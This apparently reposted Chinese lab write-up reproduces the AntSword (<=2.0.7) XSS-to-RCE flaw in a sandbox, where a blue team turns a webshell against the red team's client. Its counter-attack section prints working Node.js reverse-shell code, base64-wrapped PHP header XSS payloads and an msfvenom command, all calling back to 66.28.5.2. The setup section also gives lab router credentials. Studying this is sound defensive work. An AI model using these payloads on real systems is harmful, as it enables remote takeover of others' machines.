基于百香果沙盘的蚁剑RCE反制复现

admin 2022年7月8日18:27:50安全文章评论3 views5656字阅读18分51秒阅读模式


基于百香果沙盘的蚁剑RCE反制复现
Zero

漏洞概述

中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。
2019年4月12日凌晨,有用户在中国蚁剑GitHub上提交了issue,称发现中国蚁剑存在XSS漏洞,借此可引起RCE。据悉,该漏洞是因为在webshell远程连接失败时,中国蚁剑会返回错误信息,但因为使用的是html解析,导致xss漏洞。

基于百香果沙盘的蚁剑RCE反制复现
One

影响范围


AntSword <=2.0.7

基于百香果沙盘的蚁剑RCE反制复现
Two

实验环境搭建

环境拓扑

基于百香果沙盘的蚁剑RCE反制复现

安装v2.0.7版本蚁剑

版本2.0.7的蚁剑不能安装在Linux系统,所以将Windows 10物理机当做红队使用的主机。

下载地址:链接:https://pan.baidu.com/s/1x8bXH-ph6wRCZcmIt_HHDw
提取码:rizb

1.将压缩包解压,解压之后。

基于百香果沙盘的蚁剑RCE反制复现

2.打开启动器,选择windows版本,双击AntSword.exe 启动文件。

基于百香果沙盘的蚁剑RCE反制复现

3.初始化,配置核心源代码文件位置。

基于百香果沙盘的蚁剑RCE反制复现

基于百香果沙盘的蚁剑RCE反制复现


4.双击AntSword.exe 重启。

基于百香果沙盘的蚁剑RCE反制复现

蓝队靶标Centos 7

Centos 7自动获取到的IP地址为10.10.19.50
1.在靶机上搭建LAMP服务和phpcms v9.6.0环境。

基于百香果沙盘的蚁剑RCE反制复现

2.边界FW2防火墙开放对应的接口
访问http://1.1.1.12/cgi-bin/luci/,输入root/goktech进行登录。

基于百香果沙盘的蚁剑RCE反制复现

点击“网络->防火墙->端口转发->新增”,则可以添加新的端口转发规则。

基于百香果沙盘的蚁剑RCE反制复现

设置新的端口转发规则。

基于百香果沙盘的蚁剑RCE反制复现

名称:可以任意取名,建议与规则相关;
协议:可以选择TCP、UDP、ICMP,一个规则最好只选一个协议,不然容易出问题;
源区域:这个指的是外网所在的区域,我们事先配置好了每个接口一个区域,因此只要选对应接口即可,FW2选ETH4,FW1选ETH2;
外部端口:这里是外网供访问的端口号,可以填单个端口或者一个端口段,如8000-9000;
目标区域:这里填写的是前往内网服务器路由的出接口,以FW2为例,如果要映射服务器就填写ETH3;
内部IP地址:这里填写内网服务器的IP地址,在下拉框的最后可以输入ip按回车即可变为可选的ip;
内部端口:这里填写内部服务器要映射的端口,可以填单个端口或者一个端口段,如8000-9000。

配置完成后点击右下角保存,即可增加规则,但规则不会马上生效。规则是自上而下进行匹配的,可以按住规则右侧的白色按钮上下拖动调整顺序,最后点击“保存并应用”方可生效。

基于百香果沙盘的蚁剑RCE反制复现


蓝队靶标Windows Server 2016

Windows Server 2016自动获取到的IP地址是10.10.19.51
1.使用phpstudy搭建,启动nginx+mysql服务。

基于百香果沙盘的蚁剑RCE反制复现

2.搭建好phpcms v9.6.0环境。

基于百香果沙盘的蚁剑RCE反制复现

3.边界FW2防火墙开放对应的接口
访问http://1.1.1.12/cgi-bin/luci/,输入root/goktech进行登录。

基于百香果沙盘的蚁剑RCE反制复现

点击“网络->防火墙->端口转发->新增”,则可以添加新的端口转发规则。

基于百香果沙盘的蚁剑RCE反制复现

设置新的端口转发规则。

基于百香果沙盘的蚁剑RCE反制复现

将靶标Windows Server 2016上的phpcms平台映射到公网66.28.5.2的80端口上

配置完成后点击右下角保存,即可增加规则,但规则不会马上生效。规则是自上而下进行匹配的,可以按住规则右侧的白色按钮上下拖动调整顺序,最后点击“保存并应用”方可生效。

基于百香果沙盘的蚁剑RCE反制复现

基于百香果沙盘的蚁剑RCE反制复现
Three

反制

反制条件

红队:Windows 10 蓝队:Centos 7

1.红队通过phpcms v9.6.0文件上传漏洞,上传了一句话木马文件,并且使用蚁剑成功连接。

基于百香果沙盘的蚁剑RCE反制复现

基于百香果沙盘的蚁剑RCE反制复现


2.蓝队Centos 7 :关闭防火墙。

基于百香果沙盘的蚁剑RCE反制复现

3.边界FW2防火墙开放接口
访问http://1.1.1.12/cgi-bin/luci/,输入root/goktech进行登录。

基于百香果沙盘的蚁剑RCE反制复现

点击“网络->防火墙->端口转发”,则可以看到端口转发规则。

基于百香果沙盘的蚁剑RCE反制复现

点击“编辑”,进入修改端口转发规则。

基于百香果沙盘的蚁剑RCE反制复现


配置完成后点击右下角保存,即可修改规则,最后点击“保存并应用”方可生效。

红队:Windows 10 蓝队:Windows Server 2016

1.红队通过phpcms v9.6.0文件上传漏洞,上传了一句话木马文件,并且使用蚁剑成功连接。

基于百香果沙盘的蚁剑RCE反制复现

基于百香果沙盘的蚁剑RCE反制复现


2.蓝队Windows Server 2016:关闭防火墙。

基于百香果沙盘的蚁剑RCE反制复现


3.边界FW2防火墙开放接口
访问http://1.1.1.12/cgi-bin/luci/,输入root/goktech进行登录。

基于百香果沙盘的蚁剑RCE反制复现

点击“网络->防火墙->端口转发”,则可以看到端口转发规则。

基于百香果沙盘的蚁剑RCE反制复现

点击“编辑”,进入修改端口转发规则。

基于百香果沙盘的蚁剑RCE反制复现

配置完成后点击右下角保存,即可修改规则,最后点击“保存并应用”方可生效。

基于百香果沙盘的蚁剑RCE反制复现

4.红队Windows 10关闭杀毒软件,比如火绒、360等等。

基于百香果沙盘的蚁剑RCE反制复现

如果没有关闭火绒,则会报僵尸网络攻击,并将攻击进行拦截。

反制目的

当红队再次使用蚁剑连接时,直接反弹shell,蓝队可以反控红队机器。

反制开始条件

红队:Windows 10 蓝队:Centos 7

1.蓝队检查日志时,发现红队使用蚁剑v2.0连接了20220609050516861.php。

基于百香果沙盘的蚁剑RCE反制复现

2.查看20220609050516861.php,发现该文件是一句话木马文件。

基于百香果沙盘的蚁剑RCE反制复现

反制过程

Centos 7

1.蓝队就准备根据蚁剑v2.0漏洞进行反制红队,制作payload,修改20220609050516861.php内容。
1.1 使用net.Socket方法制作木马
将以下内容进行base64编码,66.28.5.2为蓝队centos 7映射到公网上的IP地址,监听端口为10099。

var net = require("net"), sh = require("child_process").exec("cmd.exe");

var client = new net.Socket();

client.connect(10099, "66.28.5.2", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});

在Node.js中提供了一个net.Socket对象,用于方便调用底层Socket接口,实现数据传输的功能。net.Socket既可以读也可以写,这个client建立socket链接,实现了将对方cmd.exe的标准输入输出与标准错误流转发到受害者自己的ip:10099端口上。

将上面base64编码完成的内容放进Buffer函数中。

<?php


header("HTTP/1.1 500 Not <img src=# onerror='eval(new Buffer(`dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLCBzaCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjKCJjbWQuZXhlIik7CnZhciBjbGllbnQgPSBuZXcgbmV0LlNvY2tldCgpOwpjbGllbnQuY29ubmVjdCgxMDA5OSwgIjY2LjI4LjUuMiIsIGZ1bmN0aW9uKCl7Y2xpZW50LnBpcGUoc2guc3RkaW4pO3NoLnN0ZG91dC5waXBlKGNsaWVudCk7c2guc3RkZXJyLnBpcGUoY2xpZW50KTt9KTs=`,`base64`).toString())'>");


?>


1.2 使用MSF生成node.js木马
使用msfvenom 命令生成木马

msfvenom -p nodejs/shell_reverse_tcp LHOST=66.28.5.2 LPORT=10099 -f raw -o payload.js

基于百香果沙盘的蚁剑RCE反制复现


将payload.js中的内容进行base64编码,将base64编码完成的代码放进Buffer函数。

基于百香果沙盘的蚁剑RCE反制复现

<?php


header("HTTP/1.1 500 Not <img src=# onerror='eval(new Buffer(`KGZ1bmN0aW9uKCl7IHZhciByZXF1aXJlID0gZ2xvYmFsLnJlcXVpcmUgfHwgZ2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZDsgaWYgKCFyZXF1aXJlKSByZXR1cm47IHZhciBjbWQgPSAoZ2xvYmFsLnByb2Nlc3MucGxhdGZvcm0ubWF0Y2goL153aW4vaSkpID8gImNtZCIgOiAiL2Jpbi9zaCI7IHZhciBuZXQgPSByZXF1aXJlKCJuZXQiKSwgY3AgPSByZXF1aXJlKCJjaGlsZF9wcm9jZXNzIiksIHV0aWwgPSByZXF1aXJlKCJ1dGlsIiksIHNoID0gY3Auc3Bhd24oY21kLCBbXSk7IHZhciBjbGllbnQgPSB0aGlzOyB2YXIgY291bnRlcj0wOyBmdW5jdGlvbiBTdGFnZXJSZXBlYXQoKXsgY2xpZW50LnNvY2tldCA9IG5ldC5jb25uZWN0KDEwMDk5LCAiNjYuMjguNS4yIiwgZnVuY3Rpb24oKSB7IGNsaWVudC5zb2NrZXQucGlwZShzaC5zdGRpbik7IGlmICh0eXBlb2YgdXRpbC5wdW1wID09PSAidW5kZWZpbmVkIikgeyBzaC5zdGRvdXQucGlwZShjbGllbnQuc29ja2V0KTsgc2guc3RkZXJyLnBpcGUoY2xpZW50LnNvY2tldCk7IH0gZWxzZSB7IHV0aWwucHVtcChzaC5zdGRvdXQsIGNsaWVudC5zb2NrZXQpOyB1dGlsLnB1bXAoc2guc3RkZXJyLCBjbGllbnQuc29ja2V0KTsgfSB9KTsgc29ja2V0Lm9uKCJlcnJvciIsIGZ1bmN0aW9uKGVycm9yKSB7IGNvdW50ZXIrKzsgaWYoY291bnRlcjw9IDEwKXsgc2V0VGltZW91dChmdW5jdGlvbigpIHsgU3RhZ2VyUmVwZWF0KCk7fSwgNSoxMDAwKTsgfSBlbHNlIHByb2Nlc3MuZXhpdCgpOyB9KTsgfSBTdGFnZXJSZXBlYXQoKTsgfSkoKTs=`,`base64`).toString())'>");


?>

2.开启监听端口
蓝队使用nc开启监听10099端口。

基于百香果沙盘的蚁剑RCE反制复现

3.当红队再一次使用蚁剑进行连接webshell时,发现报错,可能以为自己的密码错了或者木马文件没了,而此时,红队已经被蓝队控制了。

基于百香果沙盘的蚁剑RCE反制复现

基于百香果沙盘的蚁剑RCE反制复现

Windows Server 2016

1.蓝队就准备根据蚁剑v2.0漏洞进行反制红队,制作payload,修改20220609035913593.php内容。
将以下内容进行base64编码,66.28.5.2为蓝队靶机映射到公网上的IP地址,监听端口为10088。

var net = require("net"), sh = require("child_process").exec("cmd.exe");

var client = new net.Socket();

client.connect(10088, "66.28.5.2", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});

在Node.js中提供了一个net.Socket对象,用于方便调用底层Socket接口,实现数据传输的功能。net.Socket既可以读也可以写,这个client建立socket链接,实现了将对方cmd.exe的标准输入输出与标准错误流转发到受害者自己的ip:10088端口上。

将上面base64编码完成的内容放进Buffer函数中。

<?php


header("HTTP/1.1 500 Not <img src=# onerror='eval(new Buffer(`dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLCBzaCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjKCJjbWQuZXhlIik7CnZhciBjbGllbnQgPSBuZXcgbmV0LlNvY2tldCgpOwpjbGllbnQuY29ubmVjdCgxMDA4OCwgIjY2LjI4LjUuMiIsIGZ1bmN0aW9uKCl7Y2xpZW50LnBpcGUoc2guc3RkaW4pO3NoLnN0ZG91dC5waXBlKGNsaWVudCk7c2guc3RkZXJyLnBpcGUoY2xpZW50KTt9KTs=`,`base64`).toString())'>");


?>

2.开启监听端口
蓝队靶机使用nc开启监听10088端口。

基于百香果沙盘的蚁剑RCE反制复现


3.当红队再一次使用蚁剑进行连接webshell时,发现报错,可能以为自己的密码错了或者木马文件没了,而此时,红队已经被蓝队控制了。

基于百香果沙盘的蚁剑RCE反制复现

基于百香果沙盘的蚁剑RCE反制复现


基于百香果沙盘的蚁剑RCE反制复现
Four

参考材料

1.https://mp.weixin.qq.com/s/IRVfXxmPJo2ynym2kl9X-Q
2.https://github.com/AntSwordProject/antSword/issues/147
3.https://mp.weixin.qq.com/s/nfa2DHkDPE43cIvvRmk1TA
4.https://mp.weixin.qq.com/s/MfWuBm_H7JxAvBKfnTpLZQ

END



基于百香果沙盘的蚁剑RCE反制复现


扫码立即关注

原文始发于微信公众号(国科漏斗社区):基于百香果沙盘的蚁剑RCE反制复现

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月8日18:27:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  基于百香果沙盘的蚁剑RCE反制复现 http://cn-sec.com/archives/1167147.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: